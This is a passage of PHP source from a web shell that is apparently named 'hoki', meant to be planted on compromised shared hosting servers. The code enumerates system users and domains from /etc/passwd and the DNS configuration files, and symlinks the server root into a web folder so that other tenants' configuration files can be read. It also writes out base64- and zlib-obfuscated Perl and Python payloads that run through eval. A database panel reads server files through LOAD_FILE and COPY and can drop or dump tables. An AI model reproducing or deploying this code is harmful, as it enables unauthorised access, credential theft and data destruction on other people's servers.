if(_hoki_file_exists("/etc/virtual/domainowners")||(_hoki_file_exists("/etc/named.conf")&&_hoki_file_exists("/etc/valiases"))){
return "/home/{user}/public_html/";
}
$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
$public = end($document);
array_pop($document);
array_pop($document);
$path = implode("/", $document) . "/{user}/" . $public;
return $path;
}
function hokiGetDomains($state = false){
$state = "named.conf";
$lines = array();
$lines = _hoki_file('/etc/named.conf');
if(!$lines){
$lines = @scandir("/etc/valiases/");
$state = "valiases";
if(!$lines){
$lines = @scandir("/var/named");
$state = "named";
if(!$lines && $state){
$lines = _hoki_file('/etc/passwd');
$state = "passwd";
}
}
}
return array("lines" => $lines, "state" => $state);
}
function hokiCreateParentFolder(){
$parent = $GLOBALS['home_cwd'] . "/" . __HOKI_DATA_FOLDER__;
if(!@is_dir($parent)){
@mkdir($parent, 0755, true);
}
}
function hokisymlink(){
hokihead();
HokiNum(9,10);
hokiCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __HOKI_DATA_FOLDER__);
echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
if(isset($_POST['hoki2'])&&($_POST['hoki2']=='symperl'||$_POST["hoki2"]=="sympy")){
$sympath = hokiMakePwd();
@mkdir('cgihoki',0755);
@chdir('cgihoki');
hokicgihtaccess('cgi');
$perl = '#!/usr/bin/perl -I/usr/local/bandmin'."
".'use MIME::Base64;use Compress::Zlib;my $hoki_data="'.__HOKI_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("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")));';
$py = '#!/usr/bin/python'."
import zlib, base64
hoki_data='".__HOKI_DATA_FOLDER__."'
".'eval(compile(zlib.decompress(base64.b64decode("eJydWN1z4jgSfzZ/hdZTWcOG2JC6vQdC2MrNTO6manfn6ib7lFAuYQvwjrFckgiwU3N/+3XrwxbgZKbOD1iW+lvdP7VQ4jDpEXiKTc2FItmqUAs9oUcxq+iiZP1Bj+0zVqtJL6iplL2eJVfFhrkxl24kD81QNMv1Lu/1ViVf0DKFMbklYei+t6I03x8+pW//+QHG97SUrKecdUd8ID6mYvX8OJ77i0aIVKJPyyVNc6rogFySMAFPcCYJGyeQq1H1ILas18vZkqyYQhX9mssBeFosGyJrEEwGgqmtqDyLNCGwIFWYF4JlKiRckD6XcU3VOi7ksoAYhglTWVLRDcvjjFfLcEBolZOWCngt0TMtCyqZTMLBwNMZJmu+YcmXrWTia1JvF2WRpWu1KcG1ALjBBBTHqudC8OoxfPfx7R+/vf/9If3Px48P4TyWdVkoUBEOYBs1NzAgX1zzGvY48MdO54V0Ci9kSC4I8sd/8qLqI/VgSIykgQnhhn5msAMZ31ZqSHK+oUU1JMg/JNkuR2/WStW42/ieJEl4iVtmKAc6lmasw/n4Cz7zEINg+aI/6TOVmShgI2nJBDi0YySjlSLLAuJpuOM4DgcRuCkKWAinSkBmHEp2Gym2V1cQ31U1yVilmLiJZlOVz6ZLDpQZL7m4jd7cwzMaRzNjnXZncBlOEySaTROkV3mHyJItFQqkZC3Y8jYy/Gg6sEdEQd4ydRuli5JWn6MTpaPR3fX1yCm1IfG00kZzh7X3944Ro31u7KlNbdUALdaHPGzKovqc4Lg+2K9Y7ZWNAezeZZh8ywcIGzzR7JPhP7M9UWIG2aqTJeepVeNKbnOwNe6XYi+A3U0Fo3mqq8fVbFDIFDJdbWnZTD1T0RAZDAlMHPmuYrpA7CwTAmq0+XQ8j/NeAAYxacf5At3MPpeFVHbKq3bNpZPzyBQr89xst6BxLQgaTbxmVQc+xMisabAgA4Ne5L1+FbzSIpyoVpaM0dhOMEHCTimtmG45EFZjmZERHMXZRP5F0U2oDR0rz+Fy8npMbGQTfyfPonO6z9aq14PmXDgPmlX5Wsw699wPZSP9u7b3xfi9mEYnkYW46glkO0nvQAechHh47/LwJng94JbsuxLwZRss9toSJ+9xHnEZc8CcpQ06Y5NBFlzkDDBkHDlgXUDlrQSAb36l8WXyZqSfmw1gUFFNRoRuFdcAvgZLZ/83zP90BpadwPxOp5h8ndiB8R8Aw98k7QZLB5TwY/1a8PyAuBnsIdRjeC8h6LgzBE5KvUPNXgIBvmIA7aI2mUXzXDAp7QrO6DLBjHj8AZ85ig4A4lPFNrXpxTDDu6BOT3v17/VG8EhGRbYGCQIs0ON+FP/0y18cDAv7MBqE5Es01IZYLAFxhtKK8Mw18zHmQN0fW3rWagugklRROfxpF1oRdgSpXAOQQxsW54twCA4aadiaoSPo8zFcmnbHsju/T3o6xz2watvabyIMp1gMp1m92xY5toRSUdXywWcKC4O43ul4Wg+7geBFb/35dho74CYZTOs3sV6DJ2BA3/TIU3LdIadxAIkeR/PecVj17HjupPnga4Ud8Y/nfj6eCRodL3t5Z6Fo0qQKIIa2+/F6jqb/PBp1RsfT0HSRZqHpfE2z4ULzNXFnm18GFy4PjM6f567fBY8suVcoP5wa7Imy2po0NE01ZKKOk5FlRZ0APt4STsKB94v2+JnYTK7y4+NBg4RObgAJLcs7mIAQX8fbUqUYtqb+O6xxwa7S7610neeWC8Q5Rieo1elWTsrdcmmiQpLfQX7De7LnmB4nUfHlN/UlWpU4aDflKhyG+thzWKG/vXxOoWywpqB4zL6RKw3H8Jz2iQ4xkOxxNGnY57iRxoKjaWdvvjCJB3l3YZQMrZ1eFIEI9rRR2QTkOB6BvY7tnQSbbfouphPTidyTy1vnSJtJTWfneRfTGhqFvJ8vmlp19McnQau7KcCX1LfaPfTqCIOt6UaxiYLfo3cBWWuI5X/BDC8Gvshjh13LkpgjGd7Yu8DRDHcasCjVVZKmuljTFEExTREMvL8TvM7nLdgJ3cmVOtRsQrBnSfA+/1Q9VVMczKb2/C8UKHnLMcyLA7n79f6OPLC730C9XpnqrmdGv+i2J2cZF1QfHBVUy83XaWLWp4kRh6aTxaptb0wbEjaGRdO8eLatFGBOnhfVajIe1fsb23pdLbhSfGPmTOM2Gdd7QHO5BhvfLPVzY7u25VJ3bec9GfY7VztWrNZqsuBlbiZk8RebXP8dJIetz5JDiyhpTn6EPX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT/zuhH3mJkF7M13gtOVpxkc30NE2wpzm/Omm6taJbZo+iN8Qes/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE/VO31h4uKgCXRQLG9cQ8I8VXd5/gDJZHIJUAzqo17XBJMJf/Djb6Q2SQa0/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC/gejBmkk")),\'<string>\',\'exec\'))';
$cginame = "symperl.hoki";
$source = $perl;
$lang = "perl";
if($_POST["hoki2"]=="sympy"){
$cginame = "pysymlink.hoki";
$source = $py;
$lang = "python";
}
@__write_file($cginame,$source);
@chmod($cginame,0755);
echo __pre();
$resource = hokiEx("{$lang} {$cginame} {$sympath}",false,true,true);
if(strlen($resource) == 0){
echo HokiiFrameCreator('cgihoki/'.$cginame);
}else{
echo $resource;
}
}
if(isset($_POST['hoki4']) && $_POST['hoki4']=='SymFile'){
if(function_exists('symlink')||_hoki_can_runCommand(true,true)){
HokiNum(9,10);
echo __pre().'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : hoki.txt"size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['hoki5'];
$symname = $_POST['hoki6'];
$kiseryouni58 = $_POST['hoki7'];
if($kiseryouni58){
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = 'hokisymlinkphp/'.$rand_dir.'/';
@mkdir($sym_dir, 0777, true);
hokicgihtaccess('sym', $sym_dir, $symname);
_hoki_symlink("$path","$sym_dir/$symname");
echo __pre();
echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__HOKI_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
}
}else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST['hoki2']) && $_POST['hoki2']=='symphp'){
$cant_symlink = true;
if(function_exists('symlink')||_hoki_can_runCommand(false,false)){
@mkdir('hokisymlink',0777);
hokicgihtaccess('sym','hokisymlink/');
_hoki_symlink('/','hokisymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if(_hoki_file_exists("/etc/named.conf") && !_hoki_file_exists("/etc/virtual/domainowners") && _hoki_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = hokiGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _hoki_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
$anonymous = true;
$anony_domains = $domains["lines"];
$lines = _hoki_file('/etc/passwd');
}
echo $table_header;
$count=1;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__HOKI_DATA_FOLDER__.'/hokisymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
foreach($lines as $line){
$domain = "";
$owner = "";
if($anonymous){
$explode = explode(":", $line);
$owner = $explode[0];
$owner_len = strlen($owner) - 1;
$userid = $explode[2];
if((int)$userid < 500)continue;
$domain = "[?????]";
$temp_black = array();
$finded = false;
foreach($anony_domains as $anony){
if($state == "named.conf"){
if(@strstr($anony, 'zone')){
preg_match_all('#zone "(.*)"#',$anony, $data);
$domain = $data[1][0];
}else{
continue;
}
}elseif($state == "named" || $state == "valiases"){
if($anony == "." || $anony == "..")continue;
if($state == "named")$anony = rtrim($anony, ".db");
$domain = $anony;
}
$sub_domain = str_replace(array("-","."), "", $domain);
if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
if(in_array($owner.$domain, $temp_black))continue;
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://".$domain;
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$temp_black[] = $owner.$domain;
$finded = true;
}
}
if(!$finded){
$anonymous_users[] = $owner;
}
}else{
if($state == "named.conf"){
if(@strstr($line, 'zone')){
preg_match_all('#zone "(.*)"#',$line, $data);
$domain = $data[1][0];
}else{
continue;
}
}elseif($state == "named" || $state == "valiases"){
if($line == "." || $line == "..")continue;
if($state == "named")$line = rtrim($line, ".db");
$domain = $line;
}
if(strlen(trim($domain)) > 2 && $state != "passwd"){
if(!_hoki_file_exists('/etc/valiases/'.$domain, false))continue;
if($is_posix){
$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
$owner = $user["name"];
}elseif($can_runcmd){
$owner = hokiEx("stat -c '%U' /etc/valiases/".$domain,false,false);
}
}
}
if(!$anonymous){
if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://".$domain;
if($state == "passwd"){
$http = "javascript:alert('we cant find domain...')";
}
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$f_black[] = $owner.$domain;
}
}
if($anonymous){
foreach($anonymous_users as $owner){
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "javascript:alert('we cant find domain...')";
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
$count++;
}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = hokiMakePwd();
if(_hoki_file_exists("/etc/virtual/domainowners")){
$makepwd = "/home/{user}/public_html";
$is_direct = true;
}
$kise = _hoki_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__HOKI_DATA_FOLDER__.'/hokisymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
if($kise){
foreach($kise as $visible){
if(@strstr($visible,":")){
$kiseryouni = explode(':', $visible);
$cwd = str_replace("{user}", trim($kiseryouni[1]), $makepwd);
echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($kiseryouni[1]), trim($kiseryouni[0]), $cwd), $template);
}
}
}else{
$passwd = _hoki_file("/etc/passwd");
if($passwd){
$html = "";
$is_named = false;
$users = array();
$domains = array();
$uknowns = array();
foreach($passwd as $user){
$user = trim($user);
$expl = explode(":", $user);
if((int)$expl[2] < 500)continue;
$users[$expl[0]] = $expl[5];
}
$site_domains = @scandir("/etc/virtual/");
if(!$site_domains){
$site_domains = hokiEx("ls /etc/virtual/");
$site_domains = explode("
", $site_domains);
if(!$site_domains){
$site_domains = _hoki_file("/etc/named.conf");
if($site_domains){$is_named = true;}
}
}
foreach($site_domains as $line){
if($is_named){
if(@strstr($line, 'zone')){
preg_match_all('#zone "(.*)"#',$line, $data);
$domain = $data[1][0];
if(strlen($domain > 2) && !empty($domain)){
$domains[] = $domain;
}
}
}else{
$domains[] = $line;
}
}
$x = 1;
foreach($users as $user => $home){
foreach($domains as $domain){
$user_len = strlen($user) - 1;
$sub_domain = str_replace(array("-","."), "", $domain);
$five_user = substr($user, 0,$user_len);
$five_domain = substr($sub_domain, 0,$user_len);
if($five_user == $five_domain){
if($is_direct){
$cwd = str_replace("{user}", $user, $makepwd);
}else{
$expl = explode("}/", $makepwd);
$cwd = $home."/".$expl[1];
}
$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
}else{
$uknowns[$user] = $home;
}
}
}
$uknowns = array_unique($uknowns);
foreach($uknowns as $user => $home){
if($is_direct){
$cwd = str_replace("{user}", $user, $makepwd);
}else{
$expl = explode("}/", $makepwd);
$cwd = $home."/".$expl[1];
}
$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
}
echo($html);
}
}
echo "</table>";
$cant_symlink = false;
}
}else{
echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
$cant_symlink = false;
}
if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
echo "</center></table>";
}
echo "</div>";
hokifooter();
}
function hokisql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
return true;
}else{
$this->mysqli_connect_error = true;
$this->mysqli_connect_error_msg = mysqli_connect_error();
return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE kiseryouni(file text);COPY kiseryouni FROM '".addslashes($str)."';select file from kiseryouni;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table kiseryouni');
return array('file'=>implode("
",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
hokihead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
if($connection_db && !empty($_POST['sql_base'])){
$form_visibility = "none";
}
}
$database_list = array();
echo "
<div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='hokiShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
<div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name='type'><option value='mysql' selected>mysql</option></select></td>
<td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
if(isset($_POST['sql_host'])){
if($connection_db){
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}else{
echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>
<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
}
if(!empty($curr_mysql_id)){
$sql_title_db = "";
if(!empty($_POST['sql_base'])){
$sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
}
echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."hokiConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST['sql_base'])){
echo "<div class='mysql-main'><div mode='block' onclick='hokiMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'><<</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='hokiMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='hokiMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="hokiMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png'.($db_name == $_POST['sql_base']?"pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png":"pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
if($db_name == $_POST['sql_base']){
$db->selectdb($_POST['sql_base']);
$tbls_res = $db->listTables();
echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="hokiMysqlFilterTable(this);" name="filter"></div></li>';
while($item = $db->fetch($tbls_res)){
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
$value = htmlspecialchars($value);
echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'> <a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"hokiLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?' ':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
}
echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="hokiMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="hokiMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="hokiMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
}
echo "</div></li>";
}
